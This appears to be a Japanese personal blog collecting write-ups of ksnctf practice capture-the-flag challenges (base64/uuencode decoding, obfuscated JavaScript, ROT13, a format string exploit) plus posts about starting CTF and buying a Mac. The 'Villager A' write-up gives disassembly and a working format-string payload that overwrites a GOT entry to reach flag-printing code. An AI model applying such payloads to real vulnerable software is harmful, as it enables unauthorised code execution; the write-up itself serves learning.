ksnctf #5 Onion
今回は70ptと比較的ポイントが低めなので簡単そうな問題に取り組んでみたいと思います。
ksnctf - 5 Onion
Problem
異様に長い文字列
Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTV0ZKdGVGWlZNakExVmpBeFYySkVU
bGhoTWsweFZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdFdVZ3BpVlZwWVZtMTRj
MDB4V25GUmJVWlVUV3hLU1ZadGRHdFhRWEJwVW01Q1VGZFhNSGhpCk1WWlhWMjVHVW1KVldtRldh
a0Y0VGxaVmVXUkdaRmRWV0VKd1ZXcEtiMlJzV2tkWGJHUnJDazFXY0ZoV01qVlRZV3hLV0ZWdFJs
...
Answer
Onionってタイトルから最初はTorが関係してるのかって思いましたが違うみたい。
色々試行錯誤している内にbase64
でデコードするとどんどん短くなっていくことに気づいた。
以下のように16回デコードすると意味ありげな文字列が出てくる。
$ echo [問題文] | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D begin 666 <data> 51DQ!1U]&94QG4#-3:4%797I74$AU end
とりあえずbegin 666<data>
でぐぐってみるとuuencodeなるものがあるらしい。(参考:uuencode - Wikipedia)
uudecode
コマンドを使うとデコードできるらしいので、先ほどの出力結果をflag_c.txt
に保存して以下のコマンドを実行。
$ uudecode flag_c.txt
すると現在のディレクトリにフラグが出力されているので、終了。
感想とか
問題のタイトルはヒントにもなるけど惑わされたりすることを学びました。
今回は標準コマンドだけでできたので大分楽だったんじゃないかな。
ksnctf #4 Villager A
この問題から脆弱性をついてフラグをゲットするような問題が増えてきています。
序盤ながら、ポイントも300ptとなかなか高めです。
ksnctf - 4 Villager A
Problem
SSH: ctfq.sweetduet.info:10022
ID: q4
Pass: q60SIMpLlej9eq49
SSHで指定されたサーバーにログインしろってことみたいですね。
Analyze
ちょっと一筋縄ではいかなさそうなので、少しずつやっていきます。
とりあえず実行してみる
とりあえず、SSHでログインしないことには始まらないので早速やってみます。
ssh -p 10022 q4@ctfq.sweetduet.info
んで、ログインしてとりあえず状況を見てみるとこんな感じ。
[q4@localhost ~]$ ls flag.txt q4 readme.txt
ファイルとしては、おそらくフラグが書かれているであろうflag.txt
と実行ファイルのq4
、説明が書いてあるreadme.txt
がありました。
q4
を実行してみます。
[q4@localhost ~]$ ./q4 What's your name? tmsk8219 Hi, tmsk8219 Do you want the flag? yes Do you want the flag? no I see. Good bye. [q4@localhost ~]$
名前を入力して、フラグがほしいか?という質問に対する答えを入力するみたいです。
ちなみに、no
と答えるまでずっと同じ質問が繰り返されます。
脆弱性について
初めて取り組んだときにはサッパリわからなかったので、色々ネットで調べてみると、Format String Attackというのができるみたいです。
Format String Attackとは、以下のようなコードを実行した場合に有効な攻撃です。(参考:書式文字列攻撃 - Wikipedia)
#include<stdio.h> int main(void){ char str[256]; fgets(str, sizeof(str), stdin); printf(str); return 0; }
このようにprintfの中身をprintf("%s", str)
ではなくprintf(str)
と書いてしまうと、
$ echo -e "aaaa %x %x %x %x %x %x %x %x %x %x" | ./a.out aaaa 12068 100 103 40 7c190040 0 0 54a6cab0 0 61616161
書式指定子%x
が与えられるとprintf("%x")
となって、スタックの中身を表示してしまいます。
この場合、スタックの10番目のローカル領域にstr
が格納されていることがわかります。
実際にやってみる
今回のq4
に対してFormat String Attackをかけてみます。
[q4@localhost ~]$ echo -e "aaaa, %x, %x, %x, %x, %x, %x" | ./q4 What's your name? Hi, aaaa, 400, 39d440, 8, 14, af0fc4, 61616161 Do you want the flag?
どうやらスタックの6番目のローカル領域に入力した値が格納されるようです。
次に、これらを踏まえた上で逆アセンブルしてみたいと思います。
[q4@localhost ~]$ objdump -d -M intel q4 q4: file format elf32-i386 Disassembly of section .init: 08048424 <_init>: 8048424: 55 push ebp 8048425: 89 e5 mov ebp,esp 8048427: 53 push ebx 8048428: 83 ec 04 sub esp,0x4 804842b: e8 00 00 00 00 call 8048430 <_init+0xc> ~(略)~ Disassembly of section .plt: 08048454 <__gmon_start__@plt-0x10>: 8048454: ff 35 d4 99 04 08 push DWORD PTR ds:0x80499d4 804845a: ff 25 d8 99 04 08 jmp DWORD PTR ds:0x80499d8 8048460: 00 00 add BYTE PTR [eax],al ... 08048464 <__gmon_start__@plt>: 8048464: ff 25 dc 99 04 08 jmp DWORD PTR ds:0x80499dc 804846a: 68 00 00 00 00 push 0x0 804846f: e9 e0 ff ff ff jmp 8048454 <_init+0x30> 08048474 <putchar@plt>: ←putcharを実行する際呼ばれる・・・① 8048474: ff 25 e0 99 04 08 jmp DWORD PTR ds:0x80499e0 804847a: 68 08 00 00 00 push 0x8 804847f: e9 d0 ff ff ff jmp 8048454 <_init+0x30> 08048484 <fgets@plt>: 8048484: ff 25 e4 99 04 08 jmp DWORD PTR ds:0x80499e4 804848a: 68 10 00 00 00 push 0x10 804848f: e9 c0 ff ff ff jmp 8048454 <_init+0x30> ~(略)~ 080485b4 <main>: 80485b4: 55 push ebp 80485b5: 89 e5 mov ebp,esp 80485b7: 83 e4 f0 and esp,0xfffffff0 80485ba: 81 ec 20 04 00 00 sub esp,0x420 80485c0: c7 04 24 a4 87 04 08 mov DWORD PTR [esp],0x80487a4 80485c7: e8 f8 fe ff ff call 80484c4 <puts@plt> 80485cc: a1 04 9a 04 08 mov eax,ds:0x8049a04 80485d1: 89 44 24 08 mov DWORD PTR [esp+0x8],eax 80485d5: c7 44 24 04 00 04 00 mov DWORD PTR [esp+0x4],0x400 80485dc: 00 80485dd: 8d 44 24 18 lea eax,[esp+0x18] 80485e1: 89 04 24 mov DWORD PTR [esp],eax 80485e4: e8 9b fe ff ff call 8048484 <fgets@plt> 80485e9: c7 04 24 b6 87 04 08 mov DWORD PTR [esp],0x80487b6 80485f0: e8 bf fe ff ff call 80484b4 <printf@plt> 80485f5: 8d 44 24 18 lea eax,[esp+0x18] 80485f9: 89 04 24 mov DWORD PTR [esp],eax 80485fc: e8 b3 fe ff ff call 80484b4 <printf@plt> ←入力された文字列を表示・・・② 8048601: c7 04 24 0a 00 00 00 mov DWORD PTR [esp],0xa 8048608: e8 67 fe ff ff call 8048474 <putchar@plt> ←ここで'\n'を出力している・・・③ 804860d: c7 84 24 18 04 00 00 mov DWORD PTR [esp+0x418],0x1 8048614: 01 00 00 00 8048618: eb 67 jmp 8048681 <main+0xcd> 804861a: c7 04 24 bb 87 04 08 mov DWORD PTR [esp],0x80487bb 8048621: e8 9e fe ff ff call 80484c4 <puts@plt> 8048626: a1 04 9a 04 08 mov eax,ds:0x8049a04 804862b: 89 44 24 08 mov DWORD PTR [esp+0x8],eax 804862f: c7 44 24 04 00 04 00 mov DWORD PTR [esp+0x4],0x400 8048636: 00 8048637: 8d 44 24 18 lea eax,[esp+0x18] 804863b: 89 04 24 mov DWORD PTR [esp],eax 804863e: e8 41 fe ff ff call 8048484 <fgets@plt> 8048643: 85 c0 test eax,eax 8048645: 0f 94 c0 sete al 8048648: 84 c0 test al,al 804864a: 74 0a je 8048656 <main+0xa2> 804864c: b8 00 00 00 00 mov eax,0x0 8048651: e9 86 00 00 00 jmp 80486dc <main+0x128> 8048656: c7 44 24 04 d1 87 04 mov DWORD PTR [esp+0x4],0x80487d1 804865d: 08 804865e: 8d 44 24 18 lea eax,[esp+0x18] 8048662: 89 04 24 mov DWORD PTR [esp],eax 8048665: e8 7a fe ff ff call 80484e4 <strcmp@plt> 804866a: 85 c0 test eax,eax 804866c: 75 13 jne 8048681 <main+0xcd> 804866e: c7 04 24 d5 87 04 08 mov DWORD PTR [esp],0x80487d5 8048675: e8 4a fe ff ff call 80484c4 <puts@plt> 804867a: b8 00 00 00 00 mov eax,0x0 804867f: eb 5b jmp 80486dc <main+0x128> 8048681: 8b 84 24 18 04 00 00 mov eax,DWORD PTR [esp+0x418] 8048688: 85 c0 test eax,eax 804868a: 0f 95 c0 setne al 804868d: 84 c0 test al,al 804868f: 75 89 jne 804861a <main+0x66> 8048691: c7 44 24 04 e6 87 04 mov DWORD PTR [esp+0x4],0x80487e6 ←ここからファイルの中身を表示している・・・④ 8048698: 08 8048699: c7 04 24 e8 87 04 08 mov DWORD PTR [esp],0x80487e8 80486a0: e8 ff fd ff ff call 80484a4 <fopen@plt> 80486a5: 89 84 24 1c 04 00 00 mov DWORD PTR [esp+0x41c],eax 80486ac: 8b 84 24 1c 04 00 00 mov eax,DWORD PTR [esp+0x41c] 80486b3: 89 44 24 08 mov DWORD PTR [esp+0x8],eax 80486b7: c7 44 24 04 00 04 00 mov DWORD PTR [esp+0x4],0x400 80486be: 00 80486bf: 8d 44 24 18 lea eax,[esp+0x18] 80486c3: 89 04 24 mov DWORD PTR [esp],eax 80486c6: e8 b9 fd ff ff call 8048484 <fgets@plt> 80486cb: 8d 44 24 18 lea eax,[esp+0x18] 80486cf: 89 04 24 mov DWORD PTR [esp],eax 80486d2: e8 dd fd ff ff call 80484b4 <printf@plt> 80486d7: b8 00 00 00 00 mov eax,0x0 80486dc: c9 leave 80486dd: c3 ret 80486de: 90 nop 80486df: 90 nop
実際の処理としては、入力された文字を②で表示した後に③および①で\n
を出力されているようです。
また、④以降ではfopen
を行いフラグを表示する処理を行っているのですが、直前のjmp
やjne
で実行を阻止されています。
そこで、方針としては②でFormat String Attackを使うことによってputchar
を呼び出している③を④を呼び出すように書き換えます。
つまり、本来0x080499e0
が参照している内容を0x08048691に書き換えます。
ここでは、0x080499e0
に下位2バイト(0x86
, 0x91
)、0x080499e2
に上位2バイト(0x08
, 0x04
)を格納します。
(※8 + 34441 = 0x8691, 8 + 34441 + 33139 = 0x0804)
[q4@localhost ~]$ echo -e "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn" | ./q4
これでフラグゲットです。
感想とか
個人的にとても難しかったです。メモリについての知識がうろ覚えだったのでネットで転がっているヒントやらを参考に考えました。
正直、自分で答えにたどり着いたというよりはネットに書いてあったことを咀嚼した感の方が強いです。
でも今まで知らなかった書式指定子のh
やn
を知ることができたのは良かったと思います。
ksnctf #3 Crawling Chaos
1問目と2問目は瞬殺だったんですが、この3問目で初めて躓きました。
ksnctf - 3 Crawling Chaos
Problem
URL先のunya.htmlに飛ぶと、テキストボックスと送信ボタンがあるだけで、他には何もありません。
Answer
とりあえず、ブラウザの機能でソースを除いてみると、JavasScriptとして、以下のコード?が埋め込まれていました。
(ᒧᆞωᆞ)=(/ᆞωᆞ/),(ᒧᆞωᆞ).ᒧうー=-!!(/ᆞωᆞ/).にゃー,(〳ᆞωᆞ)=(ᒧᆞωᆞ),(〳ᆞωᆞ).〳にゃー=- -!(ᒧᆞωᆞ).ᒧうー,(ᒧᆞωᆞ).ᒧうーー=(〳ᆞωᆞ).〳にゃー- -!(ᒧᆞωᆞ).ᒧうー,(略)
これ、調べてみて初めて知ったんですが、JavaScriptのエンコードの一種のようです。
(」・ω・)」うー!(/・ω・)/にゃー!encodeによると、
JavaScriptのコードを(」・ω・)」うー!(/・ω・)/にゃー!します。
変換後のコードはJavaScriptとして実行可能です。
とのことで、JavaScriptを入力するとそれに対応した(」・ω・)」うー!(/・ω・)/にゃー!語(?)を出力してくれます。
この(」・ω・)」うー!(/・ω・)/にゃー!語はブラウザで実行することによって通常のJavaScriptと同じ振る舞いをしてくれるそうなので、先ほどのページのソースを見てみます。
ChromeではうまいことJQueryで読めなかったのでFireFoxのDevelopper Toolを使ってみると、上記の(」・ω・)」うー!(/・ω・)/にゃー!は以下のように動作することがわかりました。
function() { var t = $('input[type="text"]').val(); var p = Array(70, 152, 195, 284, 475, 612, 791, 896, 810, 850, 737, 1332, 1469, 1120, 1470, 832, 1785, 2196, 1520, 1480, 1449); var f = false; if (p.length == t.length) { f = true; for (var i = 0; i < p.length; i++) if (t.charCodeAt(i) * (i + 1) != p[i]) f = false; if (f) alert("(」・ω・)」うー!(/・ω・)/にゃー!"); } if (!f) alert("No"); return false; }
整数i(0 < i < 配列pの要素数)について(i番目の文字の文字コード)*(i-1) = p[i]成り立てばいいみたいなので、逆変換を行ってみます。
import sys p = [70, 152, 195, 284, 475, 612, 791, 896, 810, 850, 737, 1332, 1469, 1120, 1470, 832, 1785, 2196, 1520, 1480, 1449]; answer = [] i = 0 for _p in p: if i != 0: answer.append(chr(_p / (i + 1))) else: answer.append(chr(_p)) i = i + 1 for a in answer: sys.stdout.write(a)
これでフラグゲットです。ちなみにこれをテキストボックスに入力すると、(」・ω・)」うー!(/・ω・)/にゃー!
とアラートがでます。
感想とか
これはもう、知ってるか知らないかの話になってくると思うんで自分の知識不足を感じました。
幸いJavaScriptについては少し勉強したことがあったので、JQueryのコードさえ見つけることができればすぐにできました。
ksnctf #2 Easy Cipher
1問目は書いてあるフラグを入力するだけの簡単なものだったのですが、2問目からはいよいよ問題を解いていきます。
Problem
問題文には何やらアルファベットの羅列が。
EBG KVVV vf n fvzcyr yrggre fhofgvghgvba pvcure gung ercynprf n yrggre jvgu gur yrggre KVVV yrggref nsgre vg va gur nycunorg. EBG KVVV vf na rknzcyr bs gur Pnrfne pvcure, qrirybcrq va napvrag Ebzr. Synt vf SYNTFjmtkOWFNZdjkkNH. Vafreg na haqrefpber vzzrqvngryl nsgre SYNT.
ところどころスペースが空いているので、文章であることが予想できそうです。
Answer
これはもう暗号の勉強をちょっとでもかじったことがある人なら知っているシーザー暗号ってやつですな。(参考:シーザー暗号 - Wikipedia)
元々シーザー暗号はアルファベットを辞書順に3文字ずらすのが基本みたいなのですが、この手の問題では3文字じゃないことの方が多いと思います。
で、何文字ずらすのかを推測するためにどこを見ればいいのかというと、1行目のvf
やn
です。
英語の文章で2文字っていうと、僕の場合まず考えられるのがis
です。1文字でいうとa
かI
かなって感じですね。ここでvf->is
だとすると、辞書順に13文字ずれていることがわかります。念の為n
を13文字ずらしてみるとa
になっているので大丈夫そうです。
あとは、自分で1文字ずつずらしてもいいんですが、それも面倒なのでオンライン上のツールを使って復号します。
Caesar cipher decryption tool • Code is poetryを使って復号すると以下の文字列が出力されます。
ROT XIII is a simple letter substitution cipher that replaces a letter with the letter XIII letters after it in the alphabet. ROT XIII is an example of the Caesar cipher, developed in ancient Rome. Flag is ********************. Insert an underscore immediately after FLAG.
Flag is 以下のフラグにアンダースコア_
を挿入してフラグゲットです。
感想とか
最初の問題から考えると急にCTFぽく(?)なってきた感じがしました。とはいってもまだまだ有名どころの暗号なんでかなり簡単な方なのかな。
今回は最後の復号のところで、オンライン上のツールを使ったけど、プログラミングスキルを向上させるためには自分でコード書いたほうがよかったのかも。
と思ったので書いてみたけど、無駄が多そう。
#!/usr/bin/env python # coding: UTF-8 import sys str = 'EBG KVVV vf n fvzcyr yrggre fhofgvghgvba pvcure gung ercynprf n yrggre jvgu gur yrggre KVVV yrggref nsgre vg va gur nycunorg. EBG KVVV vf na rknzcyr bs gur Pnrfne pvcure, qrirybcrq va napvrag Ebzr. Synt vf SYNTFjmtkOWFNZdjkkNH. Vafreg na haqrefpber vzzrqvngryl nsgre SYNT.' for x in str: x = ord(x) # xをASCIIコードに変換 if 65 < x & x < 90: # A~Zの場合 x = x + 13 if x > 90: x = x - 26 elif 97 < x & x < 122: # a~zの場合 x = x + 13 if x > 122: x = x - 26 sys.stdout.write(chr(x))
ksnctf #1 Test Problem
前回の記事で書いた通り、ちょっとずつksnctfの解答をまとめていきたいと思います。
というわけで、記念すべき第1問目。
Problem
This is a test problem. Submit the following flag and make sure that you can get points.
Answer
・・・まんまやないか!
まぁ1問目なのでしょうがないですね。
問題文の下に書いてあるフラグをテキストボックスに入力して終了です。
CTFはじめました
前回macを購入した記事を書いてから色々投稿していきたいと思ってたけど、なんだかんだ半年以上経ちました。
主に研究やらインターンやら就活やらで中々こういった時間を取れなかったのが原因かな。
CTFはじめました
以前から、CTFの存在自体はもちろん知ってはいたし興味はあったんですが、大会とか全然参加するような行動力はありませんでした。
ところが、就活中に友人からksnctfなるものを教えてもらいました。これは、オンライン上で常設されているCTFの一つで、この界隈では入門用の問題として人気を集めているそうな。
入門とはいっても、全部で36問ある問題にはそれぞれ難易度毎にポイントが割り振られていて、Twitterのアカウントと紐付けることによって、累計獲得ポイントをランキングするなど結構本格的。しかも、 結構難しい。
4月に始めてネット上に転がってるヒントを参考にしつつ、今までに半分くらいは解けたのでちょっとずつまとめていこうと思います。
でも、Flagは公開しちゃダメみたいな暗黙のルールがあるので考え方とかまとめていけたらいいかなって思ってます。
mac買ってプログラミングをはじめました
mac買いました
4月に今のアルバイトを始めた当初からずっと買おうかどうか迷ってたmacbook買っちゃいました。
というのも、就活で東京に行く新幹線で整備済み品*1のページを見ると、2015年3月発売のmacbook Pro(13inch)が14万ちょいであったから。
メモリとかCPUはデフォルトのまま、ストレージだけ256GBのやつで、唯一のネックがJISキーボードだったところなんですが、でもまぁ、数万円安くなるしこれでいいかって妥協でぽちりました。
プログラミングはじめました
今までも研究とかでプログラミングはやってたけど、授業とか研究とかでやったくらいで、あんまりクリエイティブな感じでプログラミングはしていませんでした。
ずっとPythonとかのスクリプト言語でなんかつくってみたいなーって思ってたし、せっかくmac買ったんだからちょっとまじめにいろいろ作ってみようかと。
とりあえず手始めにTwitter APIとかで遊んでみたり、アルバイト先の業務を楽にするためのスクリプトとか作ってますが、詳細は追々ということで・・・。